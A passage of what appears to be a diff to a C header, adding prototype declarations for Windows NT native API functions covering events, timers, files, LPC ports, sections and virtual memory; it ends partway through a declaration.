+NTSTATUS +NTAPI +ZwEnumerateDriverEntries ( + OUT PVOID Buffer, + IN OUT PULONG BufferLength + ); + + + +NTSTATUS +NTAPI +ZwQueryDriverEntryOrder ( + OUT PULONG Ids, + IN OUT PULONG Count + ); + + + +NTSTATUS +NTAPI +ZwSetDriverEntryOrder ( + IN PULONG Ids, + IN ULONG Count + ); + + + +NTSTATUS +NTAPI +ZwClearEvent ( + IN HANDLE EventHandle + ); + + + +NTSTATUS +NTAPI +ZwCreateEvent ( + OUT PHANDLE EventHandle, + IN ACCESS_MASK DesiredAccess, + IN OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes, + IN EVENT_TYPE EventType, + IN BOOLEAN InitialState + ); + + + +NTSTATUS +NTAPI +ZwOpenEvent ( + OUT PHANDLE EventHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes + ); + + + +NTSTATUS +NTAPI +ZwPulseEvent ( + IN HANDLE EventHandle, + OUT OPTIONAL PLONG PreviousState + ); + + + +NTSTATUS +NTAPI +ZwQueryEvent ( + IN HANDLE EventHandle, + IN EVENT_INFORMATION_CLASS EventInformationClass, + OUT PVOID EventInformation, + IN ULONG EventInformationLength, + OUT OPTIONAL PULONG ReturnLength + ); + + + +NTSTATUS +NTAPI +ZwResetEvent ( + IN HANDLE EventHandle, + OUT OPTIONAL PLONG PreviousState + ); + + + +NTSTATUS +NTAPI +ZwSetEvent ( + IN HANDLE EventHandle, + OUT OPTIONAL PLONG PreviousState + ); + + + +NTSTATUS +NTAPI +ZwSetEventBoostPriority ( + IN HANDLE EventHandle + ); + + + +NTSTATUS +NTAPI +ZwCreateEventPair ( + OUT PHANDLE EventPairHandle, + IN ACCESS_MASK DesiredAccess, + IN OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes + ); + + + +NTSTATUS +NTAPI +ZwOpenEventPair ( + OUT PHANDLE EventPairHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes + ); + + + +NTSTATUS +NTAPI +ZwWaitLowEventPair ( + IN HANDLE EventPairHandle + ); + + + +NTSTATUS +NTAPI +ZwWaitHighEventPair ( + IN HANDLE EventPairHandle + ); + + + +NTSTATUS +NTAPI +ZwSetLowWaitHighEventPair ( + IN HANDLE EventPairHandle + ); + + + +NTSTATUS +NTAPI +ZwSetHighWaitLowEventPair ( + IN HANDLE EventPairHandle + ); + + + +NTSTATUS +NTAPI +ZwSetLowEventPair ( + IN HANDLE EventPairHandle + ); + + + +NTSTATUS +NTAPI +ZwSetHighEventPair ( + IN HANDLE EventPairHandle + ); + + + +NTSTATUS +NTAPI +ZwCreateMutant ( + OUT PHANDLE MutantHandle, + IN ACCESS_MASK DesiredAccess, + IN OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes, + IN BOOLEAN InitialOwner + ); + + + +NTSTATUS +NTAPI +ZwOpenMutant ( + OUT PHANDLE MutantHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes + ); + + + +NTSTATUS +NTAPI +ZwQueryMutant ( + IN HANDLE MutantHandle, + IN MUTANT_INFORMATION_CLASS MutantInformationClass, + OUT PVOID MutantInformation, + IN ULONG MutantInformationLength, + OUT OPTIONAL PULONG ReturnLength + ); + + + +NTSTATUS +NTAPI +ZwReleaseMutant ( + IN HANDLE MutantHandle, + OUT OPTIONAL PLONG PreviousCount + ); + + + +NTSTATUS +NTAPI +ZwCreateSemaphore ( + OUT PHANDLE SemaphoreHandle, + IN ACCESS_MASK DesiredAccess, + IN OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes, + IN LONG InitialCount, + IN LONG MaximumCount + ); + + + +NTSTATUS +NTAPI +ZwOpenSemaphore( + OUT PHANDLE SemaphoreHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes + ); + + + +NTSTATUS +NTAPI +ZwQuerySemaphore ( + IN HANDLE SemaphoreHandle, + IN SEMAPHORE_INFORMATION_CLASS SemaphoreInformationClass, + OUT PVOID SemaphoreInformation, + IN ULONG SemaphoreInformationLength, + OUT OPTIONAL PULONG ReturnLength + ); + + + +NTSTATUS +NTAPI +ZwReleaseSemaphore( + IN HANDLE SemaphoreHandle, + IN LONG ReleaseCount, + OUT OPTIONAL PLONG PreviousCount + ); + + + +NTSTATUS +NTAPI +ZwCreateTimer ( + OUT PHANDLE TimerHandle, + IN ACCESS_MASK DesiredAccess, + IN OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes, + IN TIMER_TYPE TimerType + ); + + + +NTSTATUS +NTAPI +ZwOpenTimer ( + OUT PHANDLE TimerHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes + ); + + + +NTSTATUS +NTAPI +ZwCancelTimer ( + IN HANDLE TimerHandle, + OUT OPTIONAL PBOOLEAN CurrentState + ); + + + +NTSTATUS +NTAPI +ZwQueryTimer ( + IN HANDLE TimerHandle, + IN TIMER_INFORMATION_CLASS TimerInformationClass, + OUT PVOID TimerInformation, + IN ULONG TimerInformationLength, + OUT OPTIONAL PULONG ReturnLength + ); + + + +NTSTATUS +NTAPI +ZwSetTimer ( + IN HANDLE TimerHandle, + IN PLARGE_INTEGER DueTime, + IN OPTIONAL PTIMER_APC_ROUTINE TimerApcRoutine, + IN OPTIONAL PVOID TimerContext, + IN BOOLEAN ResumeTimer, + IN OPTIONAL LONG Period, + OUT OPTIONAL PBOOLEAN PreviousState + ); + + + +NTSTATUS +NTAPI +ZwQuerySystemTime ( + OUT PLARGE_INTEGER SystemTime + ); + + + +NTSTATUS +NTAPI +ZwSetSystemTime ( + IN OPTIONAL PLARGE_INTEGER SystemTime, + OUT OPTIONAL PLARGE_INTEGER PreviousTime + ); + + + +NTSTATUS +NTAPI +ZwQueryTimerResolution ( + OUT PULONG MaximumTime, + OUT PULONG MinimumTime, + OUT PULONG CurrentTime + ); + + + +NTSTATUS +NTAPI +ZwSetTimerResolution ( + IN ULONG DesiredTime, + IN BOOLEAN SetResolution, + OUT PULONG ActualTime + ); + + + +NTSTATUS +NTAPI +ZwAllocateLocallyUniqueId ( + OUT PLUID Luid + ); + + + +NTSTATUS +NTAPI +ZwSetUuidSeed ( + IN PCHAR Seed + ); + + + +NTSTATUS +NTAPI +ZwAllocateUuids ( + OUT PULARGE_INTEGER Time, + OUT PULONG Range, + OUT PULONG Sequence, + OUT PCHAR Seed + ); + + + +NTSTATUS +NTAPI +ZwCreateProfile ( + OUT PHANDLE ProfileHandle, + IN HANDLE Process OPTIONAL, + IN PVOID ProfileBase, + IN SIZE_T ProfileSize, + IN ULONG BucketSize, + IN PULONG Buffer, + IN ULONG BufferSize, + IN KPROFILE_SOURCE ProfileSource, + IN KAFFINITY Affinity + ); + + + +NTSTATUS +NTAPI +ZwStartProfile ( + IN HANDLE ProfileHandle + ); + + + +NTSTATUS +NTAPI +ZwStopProfile ( + IN HANDLE ProfileHandle + ); + + + +NTSTATUS +NTAPI +ZwSetIntervalProfile ( + IN ULONG Interval, + IN KPROFILE_SOURCE Source + ); + + + +NTSTATUS +NTAPI +ZwQueryIntervalProfile ( + IN KPROFILE_SOURCE ProfileSource, + OUT PULONG Interval + ); + + + +NTSTATUS +NTAPI +ZwQueryPerformanceCounter ( + OUT PLARGE_INTEGER PerformanceCounter, + OUT OPTIONAL PLARGE_INTEGER PerformanceFrequency + ); + + + +NTSTATUS +NTAPI +ZwCreateKeyedEvent ( + OUT PHANDLE KeyedEventHandle, + IN ACCESS_MASK DesiredAccess, + IN OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes, + IN ULONG Flags + ); + + + +NTSTATUS +NTAPI +ZwOpenKeyedEvent ( + OUT PHANDLE KeyedEventHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes + ); + + + +NTSTATUS +NTAPI +ZwReleaseKeyedEvent ( + IN HANDLE KeyedEventHandle, + IN PVOID KeyValue, + IN BOOLEAN Alertable, + IN OPTIONAL PLARGE_INTEGER Timeout + ); + + + +NTSTATUS +NTAPI +ZwWaitForKeyedEvent ( + IN HANDLE KeyedEventHandle, + IN PVOID KeyValue, + IN BOOLEAN Alertable, + IN OPTIONAL PLARGE_INTEGER Timeout + ); + + + +NTSTATUS +NTAPI +ZwQuerySystemInformation ( + IN SYSTEM_INFORMATION_CLASS SystemInformationClass, + OUT OPTIONAL PVOID SystemInformation, + IN ULONG SystemInformationLength, + OUT OPTIONAL PULONG ReturnLength + ); + + + +NTSTATUS +NTAPI +ZwSetSystemInformation ( + IN SYSTEM_INFORMATION_CLASS SystemInformationClass, + IN OPTIONAL PVOID SystemInformation, + IN ULONG SystemInformationLength + ); + + + +NTSTATUS +NTAPI +ZwSystemDebugControl ( + IN SYSDBG_COMMAND Command, + IN OPTIONAL PVOID InputBuffer, + IN ULONG InputBufferLength, + OUT OPTIONAL PVOID OutputBuffer, + IN ULONG OutputBufferLength, + OUT OPTIONAL PULONG ReturnLength + ); + + + +NTSTATUS +NTAPI +ZwRaiseHardError ( + IN NTSTATUS ErrorStatus, + IN ULONG NumberOfParameters, + IN ULONG UnicodeStringParameterMask, + IN OPTIONAL PULONG_PTR Parameters, + IN ULONG ValidResponseOptions, + OUT PULONG Response + ); + + + +NTSTATUS +NTAPI +ZwQueryDefaultLocale ( + IN BOOLEAN UserProfile, + OUT PLCID DefaultLocaleId + ); + + + +NTSTATUS +NTAPI +ZwSetDefaultLocale ( + IN BOOLEAN UserProfile, + IN LCID DefaultLocaleId + ); + + + +NTSTATUS +NTAPI +ZwQueryInstallUILanguage ( + OUT LANGID *InstallUILanguageId + ); + + + +NTSTATUS +NTAPI +ZwQueryDefaultUILanguage ( + OUT LANGID *DefaultUILanguageId + ); + + + +NTSTATUS +NTAPI +ZwSetDefaultUILanguage ( + IN LANGID DefaultUILanguageId + ); + + + +NTSTATUS +NTAPI +ZwSetDefaultHardErrorPort( + IN HANDLE DefaultHardErrorPort + ); + + + +NTSTATUS +NTAPI +ZwShutdownSystem ( + IN SHUTDOWN_ACTION Action + ); + + + +NTSTATUS +NTAPI +ZwDisplayString ( + IN PUNICODE_STRING String + ); + + + +NTSTATUS +NTAPI +ZwAddAtom ( + IN OPTIONAL PWSTR AtomName, + IN ULONG Length, + OUT OPTIONAL PRTL_ATOM Atom + ); + + + +NTSTATUS +NTAPI +ZwFindAtom ( + IN OPTIONAL PWSTR AtomName, + IN ULONG Length, + OUT OPTIONAL PRTL_ATOM Atom + ); + + + +NTSTATUS +NTAPI +ZwDeleteAtom ( + IN RTL_ATOM Atom + ); + + + +NTSTATUS +NTAPI +ZwQueryInformationAtom( + IN RTL_ATOM Atom, + IN ATOM_INFORMATION_CLASS AtomInformationClass, + OUT OPTIONAL PVOID AtomInformation, + IN ULONG AtomInformationLength, + OUT OPTIONAL PULONG ReturnLength + ); + + + +NTSTATUS +NTAPI +ZwCancelIoFile ( + IN HANDLE FileHandle, + OUT PIO_STATUS_BLOCK IoStatusBlock + ); + + + +NTSTATUS +NTAPI +ZwCreateNamedPipeFile ( + OUT PHANDLE FileHandle, + IN ULONG DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN ULONG ShareAccess, + IN ULONG CreateDisposition, + IN ULONG CreateOptions, + IN ULONG NamedPipeType, + IN ULONG ReadMode, + IN ULONG CompletionMode, + IN ULONG MaximumInstances, + IN ULONG InboundQuota, + IN ULONG OutboundQuota, + IN OPTIONAL PLARGE_INTEGER DefaultTimeout + ); + + + +NTSTATUS +NTAPI +ZwCreateMailslotFile ( + OUT PHANDLE FileHandle, + IN ULONG DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN ULONG CreateOptions, + IN ULONG MailslotQuota, + IN ULONG MaximumMessageSize, + IN PLARGE_INTEGER ReadTimeout + ); + + + +NTSTATUS +NTAPI +ZwDeleteFile ( + IN POBJECT_ATTRIBUTES ObjectAttributes + ); + + + +NTSTATUS +NTAPI +ZwFlushBuffersFile ( + IN HANDLE FileHandle, + OUT PIO_STATUS_BLOCK IoStatusBlock + ); + + + +NTSTATUS +NTAPI +ZwNotifyChangeDirectoryFile ( + IN HANDLE FileHandle, + IN OPTIONAL HANDLE Event, + IN OPTIONAL PIO_APC_ROUTINE ApcRoutine, + IN OPTIONAL PVOID ApcContext, + OUT PIO_STATUS_BLOCK IoStatusBlock, + OUT PVOID Buffer, + IN ULONG Length, + IN ULONG CompletionFilter, + IN BOOLEAN WatchTree + ); + + + +NTSTATUS +NTAPI +ZwQueryAttributesFile ( + IN POBJECT_ATTRIBUTES ObjectAttributes, + OUT PFILE_BASIC_INFORMATION FileInformation + ); + + + +NTSTATUS +NTAPI +ZwQueryFullAttributesFile( + IN POBJECT_ATTRIBUTES ObjectAttributes, + OUT PFILE_NETWORK_OPEN_INFORMATION FileInformation + ); + + + +NTSTATUS +NTAPI +ZwQueryEaFile ( + IN HANDLE FileHandle, + OUT PIO_STATUS_BLOCK IoStatusBlock, + OUT PVOID Buffer, + IN ULONG Length, + IN BOOLEAN ReturnSingleEntry, + IN PVOID EaList, + IN ULONG EaListLength, + IN OPTIONAL PULONG EaIndex OPTIONAL, + IN BOOLEAN RestartScan + ); + + +NTSTATUS +NTAPI +ZwCreateFile ( + OUT PHANDLE FileHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN OPTIONAL PLARGE_INTEGER AllocationSize, + IN ULONG FileAttributes, + IN ULONG ShareAccess, + IN ULONG CreateDisposition, + IN ULONG CreateOptions, + IN OPTIONAL PVOID EaBuffer, + IN ULONG EaLength + ); + + + +NTSTATUS +NTAPI +ZwDeviceIoControlFile ( + IN HANDLE FileHandle, + IN OPTIONAL HANDLE Event, + IN OPTIONAL PIO_APC_ROUTINE ApcRoutine, + IN OPTIONAL PVOID ApcContext, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN ULONG IoControlCode, + IN OPTIONAL PVOID InputBuffer, + IN ULONG InputBufferLength, + OUT OPTIONAL PVOID OutputBuffer, + IN ULONG OutputBufferLength + ); + + + +NTSTATUS +NTAPI +ZwFsControlFile ( + IN HANDLE FileHandle, + IN OPTIONAL HANDLE Event, + IN OPTIONAL PIO_APC_ROUTINE ApcRoutine, + IN OPTIONAL PVOID ApcContext, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN ULONG FsControlCode, + IN OPTIONAL PVOID InputBuffer, + IN ULONG InputBufferLength, + OUT OPTIONAL PVOID OutputBuffer, + IN ULONG OutputBufferLength + ); + + + +NTSTATUS +NTAPI +ZwLockFile ( + IN HANDLE FileHandle, + IN OPTIONAL HANDLE Event, + IN OPTIONAL PIO_APC_ROUTINE ApcRoutine, + IN OPTIONAL PVOID ApcContext, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN PLARGE_INTEGER ByteOffset, + IN PLARGE_INTEGER Length, + IN ULONG Key, + IN BOOLEAN FailImmediately, + IN BOOLEAN ExclusiveLock + ); + + + +NTSTATUS +NTAPI +ZwOpenFile ( + OUT PHANDLE FileHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN ULONG ShareAccess, + IN ULONG OpenOptions + ); + + + +NTSTATUS +NTAPI +ZwQueryDirectoryFile ( + IN HANDLE FileHandle, + IN OPTIONAL HANDLE Event, + IN OPTIONAL PIO_APC_ROUTINE ApcRoutine, + IN OPTIONAL PVOID ApcContext, + OUT PIO_STATUS_BLOCK IoStatusBlock, + OUT PVOID FileInformation, + IN ULONG Length, + IN FILE_INFORMATION_CLASS FileInformationClass, + IN BOOLEAN ReturnSingleEntry, + IN OPTIONAL PUNICODE_STRING FileName, + IN BOOLEAN RestartScan + ); + + + +NTSTATUS +NTAPI +ZwQueryInformationFile ( + IN HANDLE FileHandle, + OUT PIO_STATUS_BLOCK IoStatusBlock, + OUT PVOID FileInformation, + IN ULONG Length, + IN FILE_INFORMATION_CLASS FileInformationClass + ); + + + +NTSTATUS +NTAPI +ZwQueryQuotaInformationFile ( + IN HANDLE FileHandle, + OUT PIO_STATUS_BLOCK IoStatusBlock, + OUT PVOID Buffer, + IN ULONG Length, + IN BOOLEAN ReturnSingleEntry, + IN OPTIONAL PVOID SidList, + IN ULONG SidListLength, + IN OPTIONAL PSID StartSid, + IN BOOLEAN RestartScan + ); + + + +NTSTATUS +NTAPI +ZwQueryVolumeInformationFile ( + IN HANDLE FileHandle, + OUT PIO_STATUS_BLOCK IoStatusBlock, + OUT PVOID FsInformation, + IN ULONG Length, + IN FS_INFORMATION_CLASS FsInformationClass + ); + + + +NTSTATUS +NTAPI +ZwReadFile ( + IN HANDLE FileHandle, + IN OPTIONAL HANDLE Event, + IN OPTIONAL PIO_APC_ROUTINE ApcRoutine, + IN OPTIONAL PVOID ApcContext, + OUT PIO_STATUS_BLOCK IoStatusBlock, + OUT PVOID Buffer, + IN ULONG Length, + IN OPTIONAL PLARGE_INTEGER ByteOffset, + IN OPTIONAL PULONG Key + ); + + + +NTSTATUS +NTAPI +ZwSetInformationFile ( + IN HANDLE FileHandle, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN PVOID FileInformation, + IN ULONG Length, + IN FILE_INFORMATION_CLASS FileInformationClass + ); + + + +NTSTATUS +NTAPI +ZwSetQuotaInformationFile ( + IN HANDLE FileHandle, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN PVOID Buffer, + IN ULONG Length + ); + + + +NTSTATUS +NTAPI +ZwSetVolumeInformationFile ( + IN HANDLE FileHandle, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN PVOID FsInformation, + IN ULONG Length, + IN FS_INFORMATION_CLASS FsInformationClass + ); + + + +NTSTATUS +NTAPI +ZwWriteFile ( + IN HANDLE FileHandle, + IN OPTIONAL HANDLE Event, + IN OPTIONAL PIO_APC_ROUTINE ApcRoutine, + IN OPTIONAL PVOID ApcContext, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN PVOID Buffer, + IN ULONG Length, + IN OPTIONAL PLARGE_INTEGER ByteOffset, + IN OPTIONAL PULONG Key + ); + + + +NTSTATUS +NTAPI +ZwUnlockFile ( + IN HANDLE FileHandle, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN PLARGE_INTEGER ByteOffset, + IN PLARGE_INTEGER Length, + IN ULONG Key + ); + + + +NTSTATUS +NTAPI +ZwReadFileScatter ( + IN HANDLE FileHandle, + IN OPTIONAL HANDLE Event, + IN OPTIONAL PIO_APC_ROUTINE ApcRoutine, + IN OPTIONAL PVOID ApcContext, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN PFILE_SEGMENT_ELEMENT SegmentArray, + IN ULONG Length, + IN OPTIONAL PLARGE_INTEGER ByteOffset, + IN OPTIONAL PULONG Key + ); + + + +NTSTATUS +NTAPI +ZwSetEaFile ( + IN HANDLE FileHandle, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN PVOID Buffer, + IN ULONG Length + ); + + + +NTSTATUS +NTAPI +ZwWriteFileGather ( + IN HANDLE FileHandle, + IN OPTIONAL HANDLE Event, + IN OPTIONAL PIO_APC_ROUTINE ApcRoutine, + IN OPTIONAL PVOID ApcContext, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN PFILE_SEGMENT_ELEMENT SegmentArray, + IN ULONG Length, + IN OPTIONAL PLARGE_INTEGER ByteOffset, + IN OPTIONAL PULONG Key + ); + + + +NTSTATUS +NTAPI +ZwLoadDriver ( + IN PUNICODE_STRING DriverServiceName + ); + + + +NTSTATUS +NTAPI +ZwUnloadDriver ( + IN PUNICODE_STRING DriverServiceName + ); + + + +NTSTATUS +NTAPI +ZwCreateIoCompletion ( + OUT PHANDLE IoCompletionHandle, + IN ACCESS_MASK DesiredAccess, + IN OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes, + IN ULONG Count OPTIONAL + ); + + + +NTSTATUS +NTAPI +ZwOpenIoCompletion ( + OUT PHANDLE IoCompletionHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes + ); + + + +NTSTATUS +NTAPI +ZwQueryIoCompletion ( + IN HANDLE IoCompletionHandle, + IN IO_COMPLETION_INFORMATION_CLASS IoCompletionInformationClass, + OUT PVOID IoCompletionInformation, + IN ULONG IoCompletionInformationLength, + OUT OPTIONAL PULONG ReturnLength + ); + + + +NTSTATUS +NTAPI +ZwSetIoCompletion ( + IN HANDLE IoCompletionHandle, + IN PVOID KeyContext, + IN OPTIONAL PVOID ApcContext, + IN NTSTATUS IoStatus, + IN ULONG_PTR IoStatusInformation + ); + + + +NTSTATUS +NTAPI +ZwRemoveIoCompletion ( + IN HANDLE IoCompletionHandle, + OUT PVOID *KeyContext, + OUT PVOID *ApcContext, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN OPTIONAL PLARGE_INTEGER Timeout + ); + + + +NTSTATUS +NTAPI +ZwCallbackReturn ( + IN PVOID OutputBuffer OPTIONAL, + IN ULONG OutputLength, + IN NTSTATUS Status + ); + + + +NTSTATUS +NTAPI +ZwQueryDebugFilterState ( + IN ULONG ComponentId, + IN ULONG Level + ); + + + +NTSTATUS +NTAPI +ZwSetDebugFilterState ( + IN ULONG ComponentId, + IN ULONG Level, + IN BOOLEAN State + ); + + + +NTSTATUS +NTAPI +ZwYieldExecution ( + VOID + ); + + + +NTSTATUS +NTAPI +ZwCreatePort( + OUT PHANDLE PortHandle, + IN POBJECT_ATTRIBUTES ObjectAttributes, + IN ULONG MaxConnectionInfoLength, + IN ULONG MaxMessageLength, + IN OPTIONAL ULONG MaxPoolUsage + ); + + + +NTSTATUS +NTAPI +ZwCreateWaitablePort( + OUT PHANDLE PortHandle, + IN POBJECT_ATTRIBUTES ObjectAttributes, + IN ULONG MaxConnectionInfoLength, + IN ULONG MaxMessageLength, + IN OPTIONAL ULONG MaxPoolUsage + ); + + + +NTSTATUS +NTAPI +ZwConnectPort( + OUT PHANDLE PortHandle, + IN PUNICODE_STRING PortName, + IN PSECURITY_QUALITY_OF_SERVICE SecurityQos, + IN OUT OPTIONAL PPORT_VIEW ClientView, + IN OUT OPTIONAL PREMOTE_PORT_VIEW ServerView, + OUT OPTIONAL PULONG MaxMessageLength, + IN OUT OPTIONAL PVOID ConnectionInformation, + IN OUT OPTIONAL PULONG ConnectionInformationLength + ); + + + +NTSTATUS +NTAPI +ZwSecureConnectPort( + OUT PHANDLE PortHandle, + IN PUNICODE_STRING PortName, + IN PSECURITY_QUALITY_OF_SERVICE SecurityQos, + IN OUT OPTIONAL PPORT_VIEW ClientView, + IN OPTIONAL PSID RequiredServerSid, + IN OUT OPTIONAL PREMOTE_PORT_VIEW ServerView, + OUT OPTIONAL PULONG MaxMessageLength, + IN OUT OPTIONAL PVOID ConnectionInformation, + IN OUT OPTIONAL PULONG ConnectionInformationLength + ); + + + +NTSTATUS +NTAPI +ZwListenPort( + IN HANDLE PortHandle, + OUT PPORT_MESSAGE ConnectionRequest + ); + + + +NTSTATUS +NTAPI +ZwAcceptConnectPort( + OUT PHANDLE PortHandle, + IN OPTIONAL PVOID PortContext, + IN PPORT_MESSAGE ConnectionRequest, + IN BOOLEAN AcceptConnection, + IN OUT OPTIONAL PPORT_VIEW ServerView, + OUT OPTIONAL PREMOTE_PORT_VIEW ClientView + ); + + + +NTSTATUS +NTAPI +ZwCompleteConnectPort( + IN HANDLE PortHandle + ); + + + +NTSTATUS +NTAPI +ZwRequestPort( + IN HANDLE PortHandle, + IN PPORT_MESSAGE RequestMessage + ); + + + +NTSTATUS +NTAPI +ZwRequestWaitReplyPort( + IN HANDLE PortHandle, + IN PPORT_MESSAGE RequestMessage, + OUT PPORT_MESSAGE ReplyMessage + ); + + + +NTSTATUS +NTAPI +ZwReplyPort( + IN HANDLE PortHandle, + IN PPORT_MESSAGE ReplyMessage + ); + + + +NTSTATUS +NTAPI +ZwReplyWaitReplyPort( + IN HANDLE PortHandle, + IN OUT PPORT_MESSAGE ReplyMessage + ); + + + +NTSTATUS +NTAPI +ZwReplyWaitReceivePort( + IN HANDLE PortHandle, + OUT OPTIONAL PVOID *PortContext , + IN OPTIONAL PPORT_MESSAGE ReplyMessage, + OUT PPORT_MESSAGE ReceiveMessage + ); + + + +NTSTATUS +NTAPI +ZwReplyWaitReceivePortEx( + IN HANDLE PortHandle, + OUT OPTIONAL PVOID *PortContext, + IN OPTIONAL PPORT_MESSAGE ReplyMessage, + OUT PPORT_MESSAGE ReceiveMessage, + IN OPTIONAL PLARGE_INTEGER Timeout + ); + + + +NTSTATUS +NTAPI +ZwImpersonateClientOfPort( + IN HANDLE PortHandle, + IN PPORT_MESSAGE Message + ); + + + +NTSTATUS +NTAPI +ZwReadRequestData( + IN HANDLE PortHandle, + IN PPORT_MESSAGE Message, + IN ULONG DataEntryIndex, + OUT PVOID Buffer, + IN SIZE_T BufferSize, + OUT OPTIONAL PSIZE_T NumberOfBytesRead + ); + + + +NTSTATUS +NTAPI +ZwWriteRequestData( + IN HANDLE PortHandle, + IN PPORT_MESSAGE Message, + IN ULONG DataEntryIndex, + IN PVOID Buffer, + IN SIZE_T BufferSize, + OUT OPTIONAL PSIZE_T NumberOfBytesWritten + ); + + + +NTSTATUS +NTAPI +ZwQueryInformationPort( + IN HANDLE PortHandle, + IN PORT_INFORMATION_CLASS PortInformationClass, + OUT PVOID PortInformation, + IN ULONG Length, + OUT OPTIONAL PULONG ReturnLength + ); + + + +NTSTATUS +NTAPI +ZwCreateSection ( + OUT PHANDLE SectionHandle, + IN ACCESS_MASK DesiredAccess, + IN OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes, + IN OPTIONAL PLARGE_INTEGER MaximumSize, + IN ULONG SectionPageProtection, + IN ULONG AllocationAttributes, + IN OPTIONAL HANDLE FileHandle + ); + + + +NTSTATUS +NTAPI +ZwOpenSection ( + OUT PHANDLE SectionHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes + ); + + + +NTSTATUS +NTAPI +ZwMapViewOfSection ( + IN HANDLE SectionHandle, + IN HANDLE ProcessHandle, + IN OUT PVOID *BaseAddress, + IN ULONG_PTR ZeroBits, + IN SIZE_T CommitSize, + IN OUT OPTIONAL PLARGE_INTEGER SectionOffset, + IN OUT PSIZE_T ViewSize, + IN SECTION_INHERIT InheritDisposition, + IN ULONG AllocationType, + IN ULONG Win32Protect + ); + + + +NTSTATUS +NTAPI +ZwUnmapViewOfSection ( + IN HANDLE ProcessHandle, + IN PVOID BaseAddress + ); + + + +NTSTATUS +NTAPI +ZwExtendSection ( + IN HANDLE SectionHandle, + IN OUT PLARGE_INTEGER NewSectionSize + ); + + + +NTSTATUS +NTAPI +ZwAreMappedFilesTheSame ( + IN PVOID File1MappedAsAnImage, + IN PVOID File2MappedAsFile + ); + + + +NTSTATUS +NTAPI +ZwAllocateVirtualMemory ( + IN HANDLE ProcessHandle, + IN OUT PVOID *BaseAddress, + IN ULONG_PTR ZeroBits, + IN OUT PSIZE_T RegionSize, + IN ULONG AllocationType, + IN ULONG Protect + ); + + + +NTSTATUS +NTAPI +ZwFreeVirtualMemory ( + IN HANDLE ProcessHandle, + IN OUT PVOID *BaseAddress, + IN OUT PSIZE_T RegionSize, + IN ULONG FreeType + ); + + + +NTSTATUS +NTAPI +ZwReadVirtualMemory ( + IN HANDLE ProcessHandle, + IN OPTIONAL PVOID BaseAddress, + OUT PVOID Buffer, + IN SIZE_T BufferSize, + OUT OPTIONAL PSIZE_T NumberOfBytesRead + ); + + + +NTSTATUS +NTAPI +ZwWriteVirtualMemory ( + IN HANDLE ProcessHandle, + IN OPTIONAL PVOID BaseAddress, + IN CONST VOID *Buffer, + IN SIZE_T BufferSize, + OUT OPTIONAL PSIZE_T NumberOfBytesWritten + ); + + + +NTSTATUS +NTAPI +ZwFlushVirtualMemory ( + IN HANDLE ProcessHandle, + IN OUT PVOID *BaseAddress, + IN OUT PSIZE_T RegionSize, + OUT PIO_STATUS_BLOCK IoStatus + ); + + + +NTSTATUS +NTAPI +ZwLockVirtualMemory ( + IN HANDLE ProcessHandle, + IN OUT PVOID *BaseAddress, + IN OUT PSIZE_T RegionSize, + IN ULONG MapType + ); + + + +NTSTATUS +NTAPI +ZwUnlockVirtualMemory ( + IN HANDLE ProcessHandle, + IN OUT PVOID *BaseAddress, + IN OUT PSIZE_T RegionSize, + IN ULONG MapType + ); + + + +NTSTATUS +NTAPI +ZwProtectVirtualMemory ( + IN HANDLE ProcessHandle, + IN OUT PVOID *BaseAddress, + IN OUT PSIZE_T RegionSize, + IN ULONG NewProtect, + OUT PULONG OldProtect + ); + + + +NTSTATUS +NTAPI +ZwQueryVirtualMemory ( + IN HANDLE ProcessHandle, + IN PVOID BaseAddress, + IN MEMORY_INFORMATION_CLASS MemoryInformationClass, + OUT PVOID MemoryInformation, + IN SIZE_T MemoryInformationLength, + OUT OPTIONAL PSIZE_T ReturnLength + ); + + + +NTSTATUS +NTAPI +ZwQuerySection ( + IN HANDLE SectionHandle, + IN SECTION_INFORMATION_CLASS SectionInformationClass, + OUT PVOID SectionInformation, + IN SIZE_T SectionInformationLength, + OUT OPTIONAL PSIZE_T ReturnLength + ); + + + +NTSTATUS +NTAPI +ZwMapUserPhysicalPages ( + IN PVOID VirtualAddress, + IN ULONG_PTR NumberOfPages, + IN OPTIONAL PULONG_PTR UserPfnArray + ); + + + +NTSTATUS +NTAPI 